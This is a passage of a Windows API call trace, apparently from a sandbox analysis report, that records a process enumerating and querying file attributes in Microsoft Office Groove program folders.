	[0052.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd818 | out: lpFileInformation=0x123fd818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5adf6ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2605)) returned 1
	[0052.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd868 | out: lpFileInformation=0x123fd868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae1d030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838)) returned 1
	[0052.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd8b8 | out: lpFileInformation=0x123fd8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x450)) returned 1
	[0052.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd908 | out: lpFileInformation=0x123fd908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2308)) returned 1
	[0052.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd958 | out: lpFileInformation=0x123fd958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638)) returned 1
	[0052.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fd9a8 | out: lpFileInformation=0x123fd9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bafc00, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90bafc00, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5431)) returned 1
	[0052.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fd9f8 | out: lpFileInformation=0x123fd9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8862c100, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8862c100, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x1538)) returned 1
	[0052.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fda48 | out: lpFileInformation=0x123fda48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708c13f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1995)) returned 1
	[0052.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fda98 | out: lpFileInformation=0x123fda98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838)) returned 1
	[0052.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fdae8 | out: lpFileInformation=0x123fdae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd97)) returned 1
	[0052.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fdb38 | out: lpFileInformation=0x123fdb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5a4)) returned 1
	[0052.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata"), fInfoLevelId=0x0, lpFileInformation=0x123fdb88 | out: lpFileInformation=0x123fdb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.553] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.553] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1
	[0052.553] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.553] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net"), fInfoLevelId=0x0, lpFileInformation=0x123fdc28 | out: lpFileInformation=0x123fdc28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar", cAlternateFileName="")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="DISCUS~1")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms4", cAlternateFileName="GROOVE~4")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="GROOVE~2")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveProjectToolset", cAlternateFileName="GRA998~1")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 1
	[0052.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.555] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar"), fInfoLevelId=0x0, lpFileInformation=0x1274e058 | out: lpFileInformation=0x1274e058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.558] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.558] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1
	[0052.558] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2cb800, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb2cb800, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImagesMask.bmp", cAlternateFileName="CALEND~1.BMP")) returned 1
	[0052.558] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3fa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarViewButtonImages.jpg", cAlternateFileName="CALEND~2.JPG")) returned 1
	[0052.558] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b49, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImage.jpg", cAlternateFileName="GLOBEB~1.JPG")) returned 1
	[0052.559] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobeButtonImageMask.bmp", cAlternateFileName="GLOBEB~1.BMP")) returned 1
	[0052.559] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.559] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
